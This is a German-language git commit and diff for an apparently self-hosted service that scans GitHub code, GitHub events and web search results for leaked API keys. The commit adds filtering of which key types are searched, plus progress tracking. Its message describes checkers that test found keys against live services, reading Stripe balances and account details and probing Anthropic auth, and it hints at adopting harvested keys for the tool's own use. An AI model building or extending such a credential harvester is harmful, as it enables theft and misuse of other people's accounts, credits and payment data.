feat: DB-Explorer, Scanner-KeyTypes-Setting, Stripe-Checker, Anthropic-Auth-Fix, Progress-Tracking

Backend:
- Neuer Database Explorer Endpoint (GET /api/admin/db/tables, GET /api/admin/db/tables/{name})
- DatabaseService: public GetConnection() Methode
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), erkennt Live/Test, Balance, Account-Details
- AnthropicKeyChecker: Auth-Header fix (x-api-key für API-Keys, Bearer für OAuth), 400-Handler für credit balance
- KeyPatterns: Stripe einkommentiert, Krea AI Pattern, AllTypes-Array, MinLength 4
- ServerSettingsService: string_array Typ (Get/SetStringArray), ScannerKeyTypes Setting mit Checkbox-Optionen
- ServerSettingsEndpoint: string_array Speichern (Array/CSV)
- KeyScannerService: GetActiveSearchPatterns() filtert nach ScannerKeyTypes, Progress-Tracking
- GitHubEventScannerService: CheckNewKeys nur für aktuelle Poll-Keys (statt alle unchecked), klarere Log-Meldung

Frontend:
- Database Explorer Page: Tabellenliste mit Klick -> Tabelleninhalt, Pagination, sticky Header
- Server Settings: Checkbox-Gruppe für string_array (Alle/Keine Buttons)
- API Keys: adoptedApiKeyId Fix (leerer String == null)
- Dashboard: DB-Explorer Link für Admins
- Scan-Progress: Live-Fortschritt mit Phase/Detail/Counter

Services/KeyScannerService.cs

@@ -77,10 +77,20 @@ public class KeyScannerService : BackgroundService
 
     // ── GitHub Search Config ──
 
-    // Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
-    private static readonly (string Pattern, string SearchTerm, string Type)[] SearchPatterns = KeyPatterns.ForCodeSearch;
-    // Alle Patterns für Regex-Matching im Dateiinhalt
-    private static readonly Regex[] AllCompiledPatterns = KeyPatterns.Compiled;
+    /// <summary>Gibt die aktiven Search-Patterns zurück, gefiltert nach ScannerKeyTypes-Setting.</summary>
+    private (string Pattern, string SearchTerm, string Type)[] GetActiveSearchPatterns()
+    {
+        var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
+        if (allowed.Count == 0) return Array.Empty<(string, string, string)>();
+        return KeyPatterns.ForCodeSearch.Where(p => allowed.Contains(p.Type)).ToArray();
+    }
+
+    /// <summary>Prüft ob ein Key-Typ in den aktiven Scanner-Typen enthalten ist.</summary>
+    private bool IsKeyTypeAllowed(string type)
+    {
+        var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
+        return allowed.Contains(type);
+    }
 
     private static readonly string[] SearchLanguages =
     {
@@ -229,10 +239,11 @@ public class KeyScannerService : BackgroundService
                 saveIdx++;
                 SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound);
                 if (!seen.Add(key)) continue;
-                if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
-                    continue;
 
                 var keyType = DetectKeyType(key);
+
+                if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
+                    continue;
                 var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
                 var typeName = KeyPatterns.DisplayName(keyType);
 
@@ -300,8 +311,9 @@ public class KeyScannerService : BackgroundService
     {
         var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
         var queries = new List<(string Query, Regex Regex)>();
+        var activePatterns = GetActiveSearchPatterns();
 
-        foreach (var (pattern, searchTerm, _) in SearchPatterns)
+        foreach (var (pattern, searchTerm, _) in activePatterns)
         {
             var regex = new Regex(pattern, RegexOptions.Compiled);
             foreach (var lang in QuickLanguages)
@@ -493,10 +505,11 @@ public class KeyScannerService : BackgroundService
         return keys;
     }
 
-    private static List<(string Query, Regex Regex)> BuildSearchQueries()
+    private List<(string Query, Regex Regex)> BuildSearchQueries()
     {
         var queries = new List<(string, Regex)>();
-        foreach (var (pattern, searchTerm, _) in SearchPatterns)
+        var activePatterns = GetActiveSearchPatterns();
+        foreach (var (pattern, searchTerm, _) in activePatterns)
         {
             var regex = new Regex(pattern, RegexOptions.Compiled);
             foreach (var lang in SearchLanguages)
@@ -525,12 +538,13 @@ public class KeyScannerService : BackgroundService
         var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
         var client = _httpFactory.CreateClient();
         client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
+        var activePatterns = GetActiveSearchPatterns();
 
-        for (int i = 0; i < SearchPatterns.Length; i++)
+        for (int i = 0; i < activePatterns.Length; i++)
         {
-            var (pattern, searchTerm, _) = SearchPatterns[i];
+            var (pattern, searchTerm, _) = activePatterns[i];
             ct.ThrowIfCancellationRequested();
-            SetProgress("Web-Suche (Serper)", searchTerm, i + 1, SearchPatterns.Length);
+            SetProgress("Web-Suche (Serper)", searchTerm, i + 1, activePatterns.Length);
             var regex = new Regex(pattern, RegexOptions.Compiled);
 
             try